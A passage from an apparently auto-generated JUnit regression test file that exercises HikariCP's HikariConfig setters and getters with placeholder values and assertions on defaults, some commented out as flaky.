org.junit.Assert.assertTrue("'" + int11 + "' != '" + 10 + "'", int11 == 10);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertEquals("'" + str19 + "' != '" + "HikariPool-370" + "'", str19, "HikariPool-370");
}
@Test
public void test19386() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19386");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setTransactionIsolation("");
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
hikariConfig10.isInitializationFailFast = true;
int int16 = hikariConfig10.acquireRetries;
hikariConfig10.setMaxLifetime((long) (-1));
int int19 = hikariConfig10.getTransactionIsolation();
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
int int26 = hikariConfig21.getMaximumPoolSize();
int int27 = hikariConfig21.transactionIsolation;
java.util.Properties properties28 = hikariConfig21.dataSourceProperties;
hikariConfig10.setDataSourceProperties(properties28);
hikariConfig1.dataSourceProperties = properties28;
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
hikariConfig31.setPoolName("HikariPool-472");
hikariConfig31.setAutoCommit(true);
hikariConfig31.setDataSourceClassName("HikariPool-23041");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 3 + "'", int16 == 3);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + 60 + "'", int26 == 60);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + (-1) + "'", int27 == (-1));
org.junit.Assert.assertNotNull(properties28);
}
@Test
public void test19387() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19387");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.transactionIsolationName = "";
hikariConfig1.setConnectionInitSql("HikariPool-756");
boolean boolean9 = hikariConfig1.isInitializationFailFast;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.isJdbc4connectionTest = false;
hikariConfig1.isInitializationFailFast = true;
boolean boolean15 = hikariConfig1.isJdbc4ConnectionTest();
boolean boolean16 = hikariConfig1.isAutoCommit();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
}
@Test
public void test19388() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19388");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
long long11 = hikariConfig1.maxLifetime;
java.lang.String str12 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setInitializationFailFast(true);
boolean boolean15 = hikariConfig1.isAutoCommit;
long long16 = hikariConfig1.connectionTimeout;
hikariConfig1.dataSourceClassName = "HikariPool-12365";
long long19 = hikariConfig1.getIdleTimeout();
hikariConfig1.setAcquireRetries(0);
int int22 = hikariConfig1.getAcquireIncrement();
javax.sql.DataSource dataSource23 = null;
hikariConfig1.dataSource = dataSource23;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 35L + "'", long11 == 35L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 10L + "'", long16 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long19 + "' != '" + 60L + "'", long19 == 60L);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 0 + "'", int22 == 0);
}
@Test
public void test19389() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19389");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
hikariConfig0.setDataSourceClassName("");
hikariConfig0.validate();
long long4 = hikariConfig0.getLeakDetectionThreshold();
hikariConfig0.setRegisterMbeans(false);
hikariConfig0.setUseInstrumentation(true);
long long9 = hikariConfig0.getLeakDetectionThreshold();
long long10 = hikariConfig0.getConnectionTimeout();
java.lang.String str11 = hikariConfig0.getConnectionInitSql();
java.lang.String str12 = hikariConfig0.dataSourceClassName;
hikariConfig0.setMinimumPoolSize(87);
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 0L + "'", long9 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertEquals("'" + str12 + "' != '" + "" + "'", str12, "");
}
@Test
public void test19390() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19390");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
java.lang.String str8 = hikariConfig1.getPoolName();
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isRegisterMbeans;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
boolean boolean12 = hikariConfig1.isRegisterMbeans();
java.lang.String str13 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setLeakDetectionThreshold((long) ' ');
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
org.junit.Assert.assertEquals("'" + str8 + "' != '" + "hi!" + "'", str8, "hi!");
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
org.junit.Assert.assertNull(str13);
}
@Test
public void test19391() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19391");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
long long4 = hikariConfig1.getLeakDetectionThreshold();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
int int11 = hikariConfig6.getMaximumPoolSize();
int int12 = hikariConfig6.transactionIsolation;
java.util.Properties properties13 = hikariConfig6.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties13;
int int15 = hikariConfig1.minPoolSize;
java.util.Properties properties16 = hikariConfig1.getDataSourceProperties();
int int17 = hikariConfig1.getAcquireIncrement();
java.util.Properties properties18 = null;
com.zaxxer.hikari.HikariConfig hikariConfig19 = new com.zaxxer.hikari.HikariConfig(properties18);
hikariConfig19.setConnectionInitSql("hi!");
java.util.Properties properties22 = null;
com.zaxxer.hikari.HikariConfig hikariConfig23 = new com.zaxxer.hikari.HikariConfig(properties22);
int int24 = hikariConfig23.getTransactionIsolation();
hikariConfig23.setRegisterMbeans(false);
hikariConfig23.dataSourceClassName = "";
hikariConfig23.setTransactionIsolation("");
java.util.Properties properties31 = null;
com.zaxxer.hikari.HikariConfig hikariConfig32 = new com.zaxxer.hikari.HikariConfig(properties31);
int int33 = hikariConfig32.getTransactionIsolation();
hikariConfig32.setRegisterMbeans(false);
hikariConfig32.isInitializationFailFast = true;
int int38 = hikariConfig32.acquireRetries;
hikariConfig32.setMaxLifetime((long) (-1));
int int41 = hikariConfig32.getTransactionIsolation();
java.util.Properties properties42 = null;
com.zaxxer.hikari.HikariConfig hikariConfig43 = new com.zaxxer.hikari.HikariConfig(properties42);
int int44 = hikariConfig43.getTransactionIsolation();
hikariConfig43.setRegisterMbeans(false);
java.lang.String str47 = hikariConfig43.transactionIsolationName;
int int48 = hikariConfig43.getMaximumPoolSize();
int int49 = hikariConfig43.transactionIsolation;
java.util.Properties properties50 = hikariConfig43.dataSourceProperties;
hikariConfig32.setDataSourceProperties(properties50);
hikariConfig23.dataSourceProperties = properties50;
hikariConfig19.dataSourceProperties = properties50;
com.zaxxer.hikari.HikariConfig hikariConfig54 = new com.zaxxer.hikari.HikariConfig(properties50);
hikariConfig1.setDataSourceProperties(properties50);
long long56 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.setJdbc4ConnectionTest(false);
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
org.junit.Assert.assertNotNull(properties16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 0 + "'", int17 == 0);
org.junit.Assert.assertTrue("'" + int24 + "' != '" + (-1) + "'", int24 == (-1));
org.junit.Assert.assertTrue("'" + int33 + "' != '" + (-1) + "'", int33 == (-1));
org.junit.Assert.assertTrue("'" + int38 + "' != '" + 3 + "'", int38 == 3);
org.junit.Assert.assertTrue("'" + int41 + "' != '" + (-1) + "'", int41 == (-1));
org.junit.Assert.assertTrue("'" + int44 + "' != '" + (-1) + "'", int44 == (-1));
org.junit.Assert.assertNull(str47);
org.junit.Assert.assertTrue("'" + int48 + "' != '" + 60 + "'", int48 == 60);
org.junit.Assert.assertTrue("'" + int49 + "' != '" + (-1) + "'", int49 == (-1));
org.junit.Assert.assertNotNull(properties50);
org.junit.Assert.assertTrue("'" + long56 + "' != '" + 0L + "'", long56 == 0L);
}
@Test
public void test19392() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19392");
// The following exception was thrown during execution in test generation
try {
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig("HikariPool-1921");
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: Property file HikariPool-1921 was not found.");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
}
@Test
public void test19393() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19393");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.transactionIsolationName = "";
boolean boolean10 = hikariConfig1.isJdbc4connectionTest;
long long11 = hikariConfig1.connectionTimeout;
hikariConfig1.setConnectionTestQuery("HikariPool-1307");
long long14 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.isInitializationFailFast = true;
hikariConfig1.connectionInitSql = "HikariPool-3307";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 0L + "'", long14 == 0L);
}
@Test
public void test19394() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19394");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) (short) 10);
hikariConfig1.setCatalog("HikariPool-6");
hikariConfig1.connectionInitSql = "HikariPool-470";
java.lang.String str15 = hikariConfig1.getPoolName();
hikariConfig1.connectionTestQuery = "HikariPool-2519";
int int18 = hikariConfig1.acquireRetries;
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
hikariConfig20.leakDetectionThreshold = 100;
hikariConfig20.setRegisterMbeans(false);
hikariConfig20.setConnectionTestQuery("");
hikariConfig20.maxPoolSize = 0;
java.lang.String str29 = hikariConfig20.connectionTestQuery;
java.lang.String str30 = hikariConfig20.poolName;
java.util.Properties properties31 = hikariConfig20.getDataSourceProperties();
hikariConfig1.dataSourceProperties = properties31;
java.lang.String str33 = hikariConfig1.transactionIsolationName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
// flaky: org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-51277" + "'", str15, "HikariPool-51277");
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 3 + "'", int18 == 3);
org.junit.Assert.assertEquals("'" + str29 + "' != '" + "" + "'", str29, "");
// flaky: org.junit.Assert.assertEquals("'" + str30 + "' != '" + "HikariPool-51278" + "'", str30, "HikariPool-51278");
org.junit.Assert.assertNotNull(properties31);
org.junit.Assert.assertNull(str33);
}
@Test
public void test19395() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19395");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
boolean boolean4 = hikariConfig1.isInitializationFailFast;
hikariConfig1.setConnectionTestQuery("HikariPool-173");
hikariConfig1.setPoolName("HikariPool-1035");
hikariConfig1.leakDetectionThreshold = '#';
java.lang.String str11 = hikariConfig1.connectionInitSql;
hikariConfig1.connectionCustomizerClassName = "HikariPool-6580";
hikariConfig1.setTransactionIsolation("HikariPool-15679");
boolean boolean16 = hikariConfig1.isRegisterMbeans;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireIncrement(35);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + false + "'", boolean4 == false);
org.junit.Assert.assertEquals("'" + str11 + "' != '" + "hi!" + "'", str11, "hi!");
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + false + "'", boolean16 == false);
}
@Test
public void test19396() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19396");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.poolName;
hikariConfig0.setMinimumPoolSize((int) '4');
javax.sql.DataSource dataSource4 = hikariConfig0.dataSource;
java.lang.String str5 = hikariConfig0.connectionInitSql;
java.lang.String str6 = hikariConfig0.catalog;
hikariConfig0.setIdleTimeout((long) (byte) 0);
hikariConfig0.setJdbc4ConnectionTest(true);
hikariConfig0.connectionTestQuery = "HikariPool-5278";
// flaky: org.junit.Assert.assertEquals("'" + str1 + "' != '" + "HikariPool-51280" + "'", str1, "HikariPool-51280");
org.junit.Assert.assertNull(dataSource4);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
}
@Test
public void test19397() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19397");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
hikariConfig1.setIdleTimeout((long) (short) 10);
hikariConfig1.leakDetectionThreshold = 35L;
java.util.Properties properties13 = null;
hikariConfig1.dataSourceProperties = properties13;
javax.sql.DataSource dataSource15 = null;
hikariConfig1.setDataSource(dataSource15);
long long17 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.maxPoolSize = (short) 0;
long long20 = hikariConfig1.getAcquireRetryDelay();
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertTrue("'" + long20 + "' != '" + 0L + "'", long20 == 0L);
}
@Test
public void test19398() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19398");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
hikariConfig1.setUseInstrumentation(true);
java.lang.String str10 = hikariConfig1.getCatalog();
java.lang.String str11 = hikariConfig1.poolName;
javax.sql.DataSource dataSource12 = null;
hikariConfig1.dataSource = dataSource12;
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
int int16 = hikariConfig15.getTransactionIsolation();
hikariConfig15.setRegisterMbeans(false);
java.lang.String str19 = hikariConfig15.transactionIsolationName;
hikariConfig15.setRegisterMbeans(false);
java.lang.String str22 = hikariConfig15.getDataSourceClassName();
hikariConfig15.connectionCustomizerClassName = "HikariPool-105";
int int25 = hikariConfig15.getAcquireRetries();
long long26 = hikariConfig15.connectionTimeout;
int int27 = hikariConfig15.maxPoolSize;
javax.sql.DataSource dataSource28 = hikariConfig15.getDataSource();
java.util.Properties properties29 = null;
com.zaxxer.hikari.HikariConfig hikariConfig30 = new com.zaxxer.hikari.HikariConfig(properties29);
int int31 = hikariConfig30.getTransactionIsolation();
hikariConfig30.setRegisterMbeans(false);
java.lang.String str34 = hikariConfig30.transactionIsolationName;
int int35 = hikariConfig30.transactionIsolation;
javax.sql.DataSource dataSource36 = null;
hikariConfig30.dataSource = dataSource36;
boolean boolean38 = hikariConfig30.isAutoCommit();
hikariConfig30.setMaximumPoolSize((int) '#');
hikariConfig30.connectionInitSql = "HikariPool-260";
boolean boolean43 = hikariConfig30.isInitializationFailFast();
hikariConfig30.connectionCustomizerClassName = "HikariPool-730";
com.zaxxer.hikari.HikariConfig hikariConfig46 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str47 = hikariConfig46.poolName;
hikariConfig46.setMinimumPoolSize((int) '4');
hikariConfig46.minPoolSize = (byte) 0;
long long52 = hikariConfig46.connectionTimeout;
int int53 = hikariConfig46.minPoolSize;
int int54 = hikariConfig46.getMaximumPoolSize();
hikariConfig46.setDataSourceClassName("HikariPool-3106");
java.util.Properties properties57 = hikariConfig46.getDataSourceProperties();
hikariConfig30.dataSourceProperties = properties57;
hikariConfig15.setDataSourceProperties(properties57);
com.zaxxer.hikari.HikariConfig hikariConfig60 = new com.zaxxer.hikari.HikariConfig(properties57);
hikariConfig1.setDataSourceProperties(properties57);
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-51282" + "'", str11, "HikariPool-51282");
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertTrue("'" + int25 + "' != '" + 3 + "'", int25 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long26 + "' != '" + 10L + "'", long26 == 10L);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + 60 + "'", int27 == 60);
org.junit.Assert.assertNull(dataSource28);
org.junit.Assert.assertTrue("'" + int31 + "' != '" + (-1) + "'", int31 == (-1));
org.junit.Assert.assertNull(str34);
org.junit.Assert.assertTrue("'" + int35 + "' != '" + (-1) + "'", int35 == (-1));
org.junit.Assert.assertTrue("'" + boolean38 + "' != '" + true + "'", boolean38 == true);
org.junit.Assert.assertTrue("'" + boolean43 + "' != '" + false + "'", boolean43 == false);
// flaky: org.junit.Assert.assertEquals("'" + str47 + "' != '" + "HikariPool-51285" + "'", str47, "HikariPool-51285");
// flaky: org.junit.Assert.assertTrue("'" + long52 + "' != '" + 10L + "'", long52 == 10L);
org.junit.Assert.assertTrue("'" + int53 + "' != '" + 0 + "'", int53 == 0);
org.junit.Assert.assertTrue("'" + int54 + "' != '" + 60 + "'", int54 == 60);
org.junit.Assert.assertNotNull(properties57);
}
@Test
public void test19399() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19399");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.connectionInitSql = "HikariPool-204";
int int11 = hikariConfig1.getTransactionIsolation();
hikariConfig1.connectionInitSql = "HikariPool-633";
long long14 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 100L + "'", long14 == 100L);
}
@Test
public void test19400() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19400");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
boolean boolean7 = hikariConfig1.isAutoCommit;
java.lang.String str8 = hikariConfig1.connectionCustomizerClassName;
int int9 = hikariConfig1.maxPoolSize;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.transactionIsolation;
javax.sql.DataSource dataSource17 = null;
hikariConfig11.dataSource = dataSource17;
long long19 = hikariConfig11.maxLifetime;
hikariConfig11.setMaximumPoolSize((int) (short) 10);
java.util.Properties properties22 = hikariConfig11.getDataSourceProperties();
hikariConfig1.dataSourceProperties = properties22;
java.lang.String str24 = hikariConfig1.getConnectionCustomizerClassName();
java.lang.String str25 = hikariConfig1.connectionInitSql;
int int26 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setLeakDetectionThreshold(35L);
java.lang.String str29 = hikariConfig1.transactionIsolationName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + true + "'", boolean7 == true);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long19 + "' != '" + 35L + "'", long19 == 35L);
org.junit.Assert.assertNotNull(properties22);
org.junit.Assert.assertNull(str24);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + 60 + "'", int26 == 60);
org.junit.Assert.assertNull(str29);
}
@Test
public void test19401() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19401");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.idleTimeout = (byte) -1;
javax.sql.DataSource dataSource12 = hikariConfig1.dataSource;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer13;
hikariConfig1.minPoolSize = '4';
hikariConfig1.setAcquireRetries((int) ' ');
hikariConfig1.transactionIsolation = 35;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(dataSource12);
}
@Test
public void test19402() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19402");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setConnectionTestQuery("");
hikariConfig1.acquireRetries = (short) 0;
long long10 = hikariConfig1.leakDetectionThreshold;
boolean boolean11 = hikariConfig1.isAutoCommit;
long long12 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.setConnectionInitSql("HikariPool-35968");
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 100L + "'", long10 == 100L);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + true + "'", boolean11 == true);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 100L + "'", long12 == 100L);
}
@Test
public void test19403() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19403");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
java.lang.String str7 = hikariConfig1.dataSourceClassName;
hikariConfig1.setMaximumPoolSize(100);
hikariConfig1.addDataSourceProperty("HikariPool-413", (java.lang.Object) 32L);
long long13 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.poolName = "HikariPool-910";
long long16 = hikariConfig1.getMaxLifetime();
long long17 = hikariConfig1.leakDetectionThreshold;
boolean boolean18 = hikariConfig1.isInitializationFailFast();
int int19 = hikariConfig1.maxPoolSize;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long13 + "' != '" + 0L + "'", long13 == 0L);
